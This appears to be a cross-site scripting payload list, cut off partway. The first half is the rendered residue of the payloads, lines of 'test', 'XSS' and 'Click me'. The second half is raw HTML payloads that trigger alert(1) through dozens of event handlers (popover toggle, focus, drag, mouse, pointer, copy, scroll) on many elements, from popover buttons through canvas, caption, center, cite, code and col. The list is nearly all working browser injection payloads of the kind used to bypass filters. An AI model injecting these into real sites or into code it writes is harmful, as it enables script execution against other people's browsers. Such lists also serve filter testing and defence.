test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
requires scrolling
test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test
test
select some text
select some text
test
test
test
test
test
test
test
test
test
test
test
test test
test
test
test
test
test test
test
test
test
test
test
test
test
test
test
requires scrolling
test
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
test Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me
Click me
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me
Click me
Click me
Click me
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me
Click me
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me
Click me
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me <![CDATA[XSS]]>
Click me <![CDATA[XSS]]>
Click me <![CDATA[XSS]]>
Click me <![CDATA[XSS]]>
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me XSS
Click me Click me Click me XSS
Click me XSS
Click me <![CDATA[XSS</plaintext>
<button popovertarget=x>Click me</button><plaintext ontoggle=alert(1) popover id=x>XSS</plaintext>
<button popovertarget=x>Click me</button><pre onbeforetoggle=alert(1) popover id=x>XSS</pre>
<button popovertarget=x>Click me</button><pre ontoggle=alert(1) popover id=x>XSS</pre>
<button popovertarget=x>Click me</button><progress onbeforetoggle=alert(1) popover id=x>XSS</progress>
<button popovertarget=x>Click me</button><progress ontoggle=alert(1) popover id=x>XSS</progress>
<button popovertarget=x>Click me</button><q onbeforetoggle=alert(1) popover id=x>XSS</q>
<button popovertarget=x>Click me</button><q ontoggle=alert(1) popover id=x>XSS</q>
<button popovertarget=x>Click me</button><rb onbeforetoggle=alert(1) popover id=x>XSS</rb>
<button popovertarget=x>Click me</button><rb ontoggle=alert(1) popover id=x>XSS</rb>
<button popovertarget=x>Click me</button><rp onbeforetoggle=alert(1) popover id=x>XSS</rp>
<button popovertarget=x>Click me</button><rp ontoggle=alert(1) popover id=x>XSS</rp>
<button popovertarget=x>Click me</button><rt onbeforetoggle=alert(1) popover id=x>XSS</rt>
<button popovertarget=x>Click me</button><rt ontoggle=alert(1) popover id=x>XSS</rt>
<button popovertarget=x>Click me</button><rtc onbeforetoggle=alert(1) popover id=x>XSS</rtc>
<button popovertarget=x>Click me</button><rtc ontoggle=alert(1) popover id=x>XSS</rtc>
<button popovertarget=x>Click me</button><ruby onbeforetoggle=alert(1) popover id=x>XSS</ruby>
<button popovertarget=x>Click me</button><ruby ontoggle=alert(1) popover id=x>XSS</ruby>
<button popovertarget=x>Click me</button><s onbeforetoggle=alert(1) popover id=x>XSS</s>
<button popovertarget=x>Click me</button><s ontoggle=alert(1) popover id=x>XSS</s>
<button popovertarget=x>Click me</button><samp onbeforetoggle=alert(1) popover id=x>XSS</samp>
<button popovertarget=x>Click me</button><samp ontoggle=alert(1) popover id=x>XSS</samp>
<button popovertarget=x>Click me</button><script onbeforetoggle=alert(1) popover id=x>XSS</script>
<button popovertarget=x>Click me</button><script ontoggle=alert(1) popover id=x>XSS</script>
<button popovertarget=x>Click me</button><section onbeforetoggle=alert(1) popover id=x>XSS</section>
<button popovertarget=x>Click me</button><section ontoggle=alert(1) popover id=x>XSS</section>
<button popovertarget=x>Click me</button><select onbeforetoggle=alert(1) popover id=x>XSS</select>
<button popovertarget=x>Click me</button><select ontoggle=alert(1) popover id=x>XSS</select>
<button popovertarget=x>Click me</button><set onbeforetoggle=alert(1) popover id=x>XSS</set>
<button popovertarget=x>Click me</button><set ontoggle=alert(1) popover id=x>XSS</set>
<button popovertarget=x>Click me</button><shadow onbeforetoggle=alert(1) popover id=x>XSS</shadow>
<button popovertarget=x>Click me</button><shadow ontoggle=alert(1) popover id=x>XSS</shadow>
<button popovertarget=x>Click me</button><slot onbeforetoggle=alert(1) popover id=x>XSS</slot>
<button popovertarget=x>Click me</button><slot ontoggle=alert(1) popover id=x>XSS</slot>
<button popovertarget=x>Click me</button><small onbeforetoggle=alert(1) popover id=x>XSS</small>
<button popovertarget=x>Click me</button><small ontoggle=alert(1) popover id=x>XSS</small>
<button popovertarget=x>Click me</button><source onbeforetoggle=alert(1) popover id=x>XSS</source>
<button popovertarget=x>Click me</button><source ontoggle=alert(1) popover id=x>XSS</source>
<button popovertarget=x>Click me</button><spacer onbeforetoggle=alert(1) popover id=x>XSS</spacer>
<button popovertarget=x>Click me</button><spacer ontoggle=alert(1) popover id=x>XSS</spacer>
<button popovertarget=x>Click me</button><span onbeforetoggle=alert(1) popover id=x>XSS</span>
<button popovertarget=x>Click me</button><span ontoggle=alert(1) popover id=x>XSS</span>
<button popovertarget=x>Click me</button><strike onbeforetoggle=alert(1) popover id=x>XSS</strike>
<button popovertarget=x>Click me</button><strike ontoggle=alert(1) popover id=x>XSS</strike>
<button popovertarget=x>Click me</button><strong onbeforetoggle=alert(1) popover id=x>XSS</strong>
<button popovertarget=x>Click me</button><strong ontoggle=alert(1) popover id=x>XSS</strong>
<button popovertarget=x>Click me</button><style onbeforetoggle=alert(1) popover id=x>XSS</style>
<button popovertarget=x>Click me</button><style ontoggle=alert(1) popover id=x>XSS</style>
<button popovertarget=x>Click me</button><sub onbeforetoggle=alert(1) popover id=x>XSS</sub>
<button popovertarget=x>Click me</button><sub ontoggle=alert(1) popover id=x>XSS</sub>
<button popovertarget=x>Click me</button><summary onbeforetoggle=alert(1) popover id=x>XSS</summary>
<button popovertarget=x>Click me</button><summary ontoggle=alert(1) popover id=x>XSS</summary>
<button popovertarget=x>Click me</button><sup onbeforetoggle=alert(1) popover id=x>XSS</sup>
<button popovertarget=x>Click me</button><sup ontoggle=alert(1) popover id=x>XSS</sup>
<button popovertarget=x>Click me</button><svg onbeforetoggle=alert(1) popover id=x>XSS</svg>
<button popovertarget=x>Click me</button><svg ontoggle=alert(1) popover id=x>XSS</svg>
<button popovertarget=x>Click me</button><table onbeforetoggle=alert(1) popover id=x>XSS</table>
<button popovertarget=x>Click me</button><table ontoggle=alert(1) popover id=x>XSS</table>
<button popovertarget=x>Click me</button><tbody onbeforetoggle=alert(1) popover id=x>XSS</tbody>
<button popovertarget=x>Click me</button><tbody ontoggle=alert(1) popover id=x>XSS</tbody>
<button popovertarget=x>Click me</button><td onbeforetoggle=alert(1) popover id=x>XSS</td>
<button popovertarget=x>Click me</button><td ontoggle=alert(1) popover id=x>XSS</td>
<button popovertarget=x>Click me</button><template onbeforetoggle=alert(1) popover id=x>XSS</template>
<button popovertarget=x>Click me</button><template ontoggle=alert(1) popover id=x>XSS</template>
<button popovertarget=x>Click me</button><textarea onbeforetoggle=alert(1) popover id=x>XSS</textarea>
<button popovertarget=x>Click me</button><textarea ontoggle=alert(1) popover id=x>XSS</textarea>
<button popovertarget=x>Click me</button><tfoot onbeforetoggle=alert(1) popover id=x>XSS</tfoot>
<button popovertarget=x>Click me</button><tfoot ontoggle=alert(1) popover id=x>XSS</tfoot>
<button popovertarget=x>Click me</button><th onbeforetoggle=alert(1) popover id=x>XSS</th>
<button popovertarget=x>Click me</button><th ontoggle=alert(1) popover id=x>XSS</th>
<button popovertarget=x>Click me</button><thead onbeforetoggle=alert(1) popover id=x>XSS</thead>
<button popovertarget=x>Click me</button><thead ontoggle=alert(1) popover id=x>XSS</thead>
<button popovertarget=x>Click me</button><time onbeforetoggle=alert(1) popover id=x>XSS</time>
<button popovertarget=x>Click me</button><time ontoggle=alert(1) popover id=x>XSS</time>
<button popovertarget=x>Click me</button><title onbeforetoggle=alert(1) popover id=x>XSS</title>
<button popovertarget=x>Click me</button><title ontoggle=alert(1) popover id=x>XSS</title>
<button popovertarget=x>Click me</button><tr onbeforetoggle=alert(1) popover id=x>XSS</tr>
<button popovertarget=x>Click me</button><tr ontoggle=alert(1) popover id=x>XSS</tr>
<button popovertarget=x>Click me</button><track onbeforetoggle=alert(1) popover id=x>XSS</track>
<button popovertarget=x>Click me</button><track ontoggle=alert(1) popover id=x>XSS</track>
<button popovertarget=x>Click me</button><tt onbeforetoggle=alert(1) popover id=x>XSS</tt>
<button popovertarget=x>Click me</button><tt ontoggle=alert(1) popover id=x>XSS</tt>
<button popovertarget=x>Click me</button><u onbeforetoggle=alert(1) popover id=x>XSS</u>
<button popovertarget=x>Click me</button><u ontoggle=alert(1) popover id=x>XSS</u>
<button popovertarget=x>Click me</button><ul onbeforetoggle=alert(1) popover id=x>XSS</ul>
<button popovertarget=x>Click me</button><ul ontoggle=alert(1) popover id=x>XSS</ul>
<button popovertarget=x>Click me</button><var onbeforetoggle=alert(1) popover id=x>XSS</var>
<button popovertarget=x>Click me</button><var ontoggle=alert(1) popover id=x>XSS</var>
<button popovertarget=x>Click me</button><video onbeforetoggle=alert(1) popover id=x>XSS</video>
<button popovertarget=x>Click me</button><video ontoggle=alert(1) popover id=x>XSS</video>
<button popovertarget=x>Click me</button><video2 onbeforetoggle=alert(1) popover id=x>XSS</video2>
<button popovertarget=x>Click me</button><video2 ontoggle=alert(1) popover id=x>XSS</video2>
<button popovertarget=x>Click me</button><wbr onbeforetoggle=alert(1) popover id=x>XSS</wbr>
<button popovertarget=x>Click me</button><wbr ontoggle=alert(1) popover id=x>XSS</wbr>
<button popovertarget=x>Click me</button><xmp onbeforetoggle=alert(1) popover id=x>XSS</xmp>
<button popovertarget=x>Click me</button><xmp ontoggle=alert(1) popover id=x>XSS</xmp>
<canvas contenteditable onbeforeinput=alert(1)>test
<canvas draggable="true" ondrag="alert(1)" style=display:block>test</canvas>
<canvas draggable="true" ondragend="alert(1)" style=display:block>test</canvas>
<canvas draggable="true" ondragenter="alert(1)" style=display:block>test</canvas>
<canvas draggable="true" ondragleave="alert(1)" style=display:block>test</canvas>
<canvas draggable="true" ondragstart="alert(1)" style=display:block>test</canvas>
<canvas id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></canvas>
<canvas id=x tabindex=1 onfocus=alert(1)></canvas>
<canvas id=x tabindex=1 onfocusin=alert(1)></canvas>
<canvas onafterscriptexecute=alert(1)><script>1</script>
<canvas onbeforecopy="alert(1)" contenteditable>test</canvas>
<canvas onbeforecut="alert(1)" contenteditable>test</canvas>
<canvas onbeforescriptexecute=alert(1)><script>1</script>
<canvas onblur=alert(1) id=x tabindex=1 style=display:block>test</canvas><input value=clickme>
<canvas onclick="alert(1)" style=display:block>test</canvas>
<canvas oncontextmenu="alert(1)" style=display:block>test</canvas>
<canvas oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<canvas oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<canvas ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</canvas>
<canvas onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</canvas><input value=clickme>
<canvas onkeydown="alert(1)" contenteditable style=display:block>test</canvas>
<canvas onkeypress="alert(1)" contenteditable style=display:block>test</canvas>
<canvas onkeyup="alert(1)" contenteditable style=display:block>test</canvas>
<canvas onmousedown="alert(1)" style=display:block>test</canvas>
<canvas onmouseenter="alert(1)" style=display:block>test</canvas>
<canvas onmouseleave="alert(1)" style=display:block>test</canvas>
<canvas onmousemove="alert(1)" style=display:block>test</canvas>
<canvas onmouseout="alert(1)" style=display:block>test</canvas>
<canvas onmouseover="alert(1)" style=display:block>test</canvas>
<canvas onmouseup="alert(1)" style=display:block>test</canvas>
<canvas onmousewheel=alert(1) style=display:block>requires scrolling
<canvas onpaste="alert(1)" contenteditable>test</canvas>
<canvas onpointerdown=alert(1) style=display:block>XSS</canvas>
<canvas onpointerenter=alert(1) style=display:block>XSS</canvas>
<canvas onpointerleave=alert(1) style=display:block>XSS</canvas>
<canvas onpointermove=alert(1) style=display:block>XSS</canvas>
<canvas onpointerout=alert(1) style=display:block>XSS</canvas>
<canvas onpointerover=alert(1) style=display:block>XSS</canvas>
<canvas onpointerrawupdate=alert(1) style=display:block>XSS</canvas>
<canvas onpointerup=alert(1) style=display:block>XSS</canvas>
<canvas onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></canvas>
<caption contenteditable onbeforeinput=alert(1)>test
<caption draggable="true" ondrag="alert(1)" style=display:block>test</caption>
<caption draggable="true" ondragend="alert(1)" style=display:block>test</caption>
<caption draggable="true" ondragenter="alert(1)" style=display:block>test</caption>
<caption draggable="true" ondragleave="alert(1)" style=display:block>test</caption>
<caption draggable="true" ondragstart="alert(1)" style=display:block>test</caption>
<caption id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></caption>
<caption id=x tabindex=1 onfocus=alert(1)></caption>
<caption id=x tabindex=1 onfocusin=alert(1)></caption>
<caption onafterscriptexecute=alert(1)><script>1</script>
<caption onbeforecopy="alert(1)" contenteditable>test</caption>
<caption onbeforecut="alert(1)" contenteditable>test</caption>
<caption onbeforescriptexecute=alert(1)><script>1</script>
<caption onblur=alert(1) id=x tabindex=1 style=display:block>test</caption><input value=clickme>
<caption onclick="alert(1)" style=display:block>test</caption>
<caption oncontextmenu="alert(1)" style=display:block>test</caption>
<caption oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<caption oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<caption ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</caption>
<caption onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</caption><input value=clickme>
<caption onkeydown="alert(1)" contenteditable style=display:block>test</caption>
<caption onkeypress="alert(1)" contenteditable style=display:block>test</caption>
<caption onkeyup="alert(1)" contenteditable style=display:block>test</caption>
<caption onmousedown="alert(1)" style=display:block>test</caption>
<caption onmouseenter="alert(1)" style=display:block>test</caption>
<caption onmouseleave="alert(1)" style=display:block>test</caption>
<caption onmousemove="alert(1)" style=display:block>test</caption>
<caption onmouseout="alert(1)" style=display:block>test</caption>
<caption onmouseover="alert(1)" style=display:block>test</caption>
<caption onmouseup="alert(1)" style=display:block>test</caption>
<caption onmousewheel=alert(1) style=display:block>requires scrolling
<caption onpaste="alert(1)" contenteditable>test</caption>
<caption onpointerdown=alert(1) style=display:block>XSS</caption>
<caption onpointerenter=alert(1) style=display:block>XSS</caption>
<caption onpointerleave=alert(1) style=display:block>XSS</caption>
<caption onpointermove=alert(1) style=display:block>XSS</caption>
<caption onpointerout=alert(1) style=display:block>XSS</caption>
<caption onpointerover=alert(1) style=display:block>XSS</caption>
<caption onpointerrawupdate=alert(1) style=display:block>XSS</caption>
<caption onpointerup=alert(1) style=display:block>XSS</caption>
<caption onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></caption>
<center contenteditable onbeforeinput=alert(1)>test
<center draggable="true" ondrag="alert(1)" style=display:block>test</center>
<center draggable="true" ondragend="alert(1)" style=display:block>test</center>
<center draggable="true" ondragenter="alert(1)" style=display:block>test</center>
<center draggable="true" ondragleave="alert(1)" style=display:block>test</center>
<center draggable="true" ondragstart="alert(1)" style=display:block>test</center>
<center id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></center>
<center id=x tabindex=1 onfocus=alert(1)></center>
<center id=x tabindex=1 onfocusin=alert(1)></center>
<center onafterscriptexecute=alert(1)><script>1</script>
<center onbeforecopy="alert(1)" contenteditable>test</center>
<center onbeforecut="alert(1)" contenteditable>test</center>
<center onbeforescriptexecute=alert(1)><script>1</script>
<center onblur=alert(1) id=x tabindex=1 style=display:block>test</center><input value=clickme>
<center onclick="alert(1)" style=display:block>test</center>
<center oncontextmenu="alert(1)" style=display:block>test</center>
<center oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<center oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<center ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</center>
<center onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</center><input value=clickme>
<center onkeydown="alert(1)" contenteditable style=display:block>test</center>
<center onkeypress="alert(1)" contenteditable style=display:block>test</center>
<center onkeyup="alert(1)" contenteditable style=display:block>test</center>
<center onmousedown="alert(1)" style=display:block>test</center>
<center onmouseenter="alert(1)" style=display:block>test</center>
<center onmouseleave="alert(1)" style=display:block>test</center>
<center onmousemove="alert(1)" style=display:block>test</center>
<center onmouseout="alert(1)" style=display:block>test</center>
<center onmouseover="alert(1)" style=display:block>test</center>
<center onmouseup="alert(1)" style=display:block>test</center>
<center onmousewheel=alert(1) style=display:block>requires scrolling
<center onpaste="alert(1)" contenteditable>test</center>
<center onpointerdown=alert(1) style=display:block>XSS</center>
<center onpointerenter=alert(1) style=display:block>XSS</center>
<center onpointerleave=alert(1) style=display:block>XSS</center>
<center onpointermove=alert(1) style=display:block>XSS</center>
<center onpointerout=alert(1) style=display:block>XSS</center>
<center onpointerover=alert(1) style=display:block>XSS</center>
<center onpointerrawupdate=alert(1) style=display:block>XSS</center>
<center onpointerup=alert(1) style=display:block>XSS</center>
<center onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></center>
<cite contenteditable onbeforeinput=alert(1)>test
<cite draggable="true" ondrag="alert(1)" style=display:block>test</cite>
<cite draggable="true" ondragend="alert(1)" style=display:block>test</cite>
<cite draggable="true" ondragenter="alert(1)" style=display:block>test</cite>
<cite draggable="true" ondragleave="alert(1)" style=display:block>test</cite>
<cite draggable="true" ondragstart="alert(1)" style=display:block>test</cite>
<cite id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></cite>
<cite id=x tabindex=1 onfocus=alert(1)></cite>
<cite id=x tabindex=1 onfocusin=alert(1)></cite>
<cite onafterscriptexecute=alert(1)><script>1</script>
<cite onbeforecopy="alert(1)" contenteditable>test</cite>
<cite onbeforecut="alert(1)" contenteditable>test</cite>
<cite onbeforescriptexecute=alert(1)><script>1</script>
<cite onblur=alert(1) id=x tabindex=1 style=display:block>test</cite><input value=clickme>
<cite onclick="alert(1)" style=display:block>test</cite>
<cite oncontextmenu="alert(1)" style=display:block>test</cite>
<cite oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<cite oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<cite ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</cite>
<cite onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</cite><input value=clickme>
<cite onkeydown="alert(1)" contenteditable style=display:block>test</cite>
<cite onkeypress="alert(1)" contenteditable style=display:block>test</cite>
<cite onkeyup="alert(1)" contenteditable style=display:block>test</cite>
<cite onmousedown="alert(1)" style=display:block>test</cite>
<cite onmouseenter="alert(1)" style=display:block>test</cite>
<cite onmouseleave="alert(1)" style=display:block>test</cite>
<cite onmousemove="alert(1)" style=display:block>test</cite>
<cite onmouseout="alert(1)" style=display:block>test</cite>
<cite onmouseover="alert(1)" style=display:block>test</cite>
<cite onmouseup="alert(1)" style=display:block>test</cite>
<cite onmousewheel=alert(1) style=display:block>requires scrolling
<cite onpaste="alert(1)" contenteditable>test</cite>
<cite onpointerdown=alert(1) style=display:block>XSS</cite>
<cite onpointerenter=alert(1) style=display:block>XSS</cite>
<cite onpointerleave=alert(1) style=display:block>XSS</cite>
<cite onpointermove=alert(1) style=display:block>XSS</cite>
<cite onpointerout=alert(1) style=display:block>XSS</cite>
<cite onpointerover=alert(1) style=display:block>XSS</cite>
<cite onpointerrawupdate=alert(1) style=display:block>XSS</cite>
<cite onpointerup=alert(1) style=display:block>XSS</cite>
<cite onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></cite>
<code contenteditable onbeforeinput=alert(1)>test
<code draggable="true" ondrag="alert(1)" style=display:block>test</code>
<code draggable="true" ondragend="alert(1)" style=display:block>test</code>
<code draggable="true" ondragenter="alert(1)" style=display:block>test</code>
<code draggable="true" ondragleave="alert(1)" style=display:block>test</code>
<code draggable="true" ondragstart="alert(1)" style=display:block>test</code>
<code id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></code>
<code id=x tabindex=1 onfocus=alert(1)></code>
<code id=x tabindex=1 onfocusin=alert(1)></code>
<code onafterscriptexecute=alert(1)><script>1</script>
<code onbeforecopy="alert(1)" contenteditable>test</code>
<code onbeforecut="alert(1)" contenteditable>test</code>
<code onbeforescriptexecute=alert(1)><script>1</script>
<code onblur=alert(1) id=x tabindex=1 style=display:block>test</code><input value=clickme>
<code onclick="alert(1)" style=display:block>test</code>
<code oncontextmenu="alert(1)" style=display:block>test</code>
<code oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<code oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<code ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</code>
<code onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</code><input value=clickme>
<code onkeydown="alert(1)" contenteditable style=display:block>test</code>
<code onkeypress="alert(1)" contenteditable style=display:block>test</code>
<code onkeyup="alert(1)" contenteditable style=display:block>test</code>
<code onmousedown="alert(1)" style=display:block>test</code>
<code onmouseenter="alert(1)" style=display:block>test</code>
<code onmouseleave="alert(1)" style=display:block>test</code>
<code onmousemove="alert(1)" style=display:block>test</code>
<code onmouseout="alert(1)" style=display:block>test</code>
<code onmouseover="alert(1)" style=display:block>test</code>
<code onmouseup="alert(1)" style=display:block>test</code>
<code onmousewheel=alert(1) style=display:block>requires scrolling
<code onpaste="alert(1)" contenteditable>test</code>
<code onpointerdown=alert(1) style=display:block>XSS</code>
<code onpointerenter=alert(1) style=display:block>XSS</code>
<code onpointerleave=alert(1) style=display:block>XSS</code>
<code onpointermove=alert(1) style=display:block>XSS</code>
<code onpointerout=alert(1) style=display:block>XSS</code>
<code onpointerover=alert(1) style=display:block>XSS</code>
<code onpointerrawupdate=alert(1) style=display:block>XSS</code>
<code onpointerup=alert(1) style=display:block>XSS</code>
<code onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></code>
<col contenteditable onbeforeinput=alert(1)>test
<col draggable="true" ondrag="alert(1)" style=display:block>test</col>
<col draggable="true" ondragend="alert(1)" style=display:block>test</col>
<col draggable="true" ondragenter="alert(1)" style=display:block>test</col>
<col draggable="true" ondragleave="alert(1)" style=display:block>test</col>
<col draggable="true" ondragstart="alert(1)" style=display:block>test</col>
<col id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></col>
<col id=x tabindex=1 onfocus=alert(1)></col>
<col id=x tabindex=1 onfocusin=alert(1)></col>
<col onafterscriptexecute=alert(1)><script>1</script>
<col onbeforecopy="alert(1)" contenteditable>test</col>
<col onbeforecut="alert(1)" contenteditable>test</col>
<col onbeforescriptexecute=alert(1)><script>1</script>
<col onblur=alert(1) id=x tabindex=1 style=display:block>test</col><input value=clickme>
<col onclick="alert(1)" style=display:block>test</col>
<col oncontextmenu="alert(1)" style=display:block>test</col>
<col oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<col oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<col ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</col>
<col onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</col><input value=clickme>
<col onkeydown="alert(1)" contenteditable style=display:block>test</col>
<col onkeypress="alert(1)" contenteditable style=display:block>test</col>
<col onkeyup="alert(1)" contenteditable style=display:block>test</col>
<col onmousedown="alert(1)" style=display:block>test</col>
<col onmouseenter="alert(1)" style=display:block>test</col>
<col onmouseleave="alert(1)" style=display:block>test</col>
<col onmousemove="alert(1)" style=display:block>test</col>
<col onmouseout="alert(1)" style=display:block>test</col>
<col onmouseover="alert(1)" style=display:block>test</col>
<col onmouseup="alert(1)" style=display:block>test</col>
<col onmousewheel=alert(1) style=display:block>requires scrolling
<col onpaste="alert(1)" contenteditable>test</col>
<col onpointerdown=alert(1) style=display:block>XSS</col>
<col onpointerenter=alert(1) style=display:block>XSS</col>
<col onpointerleave=alert(1) style=display:block>XSS</col>
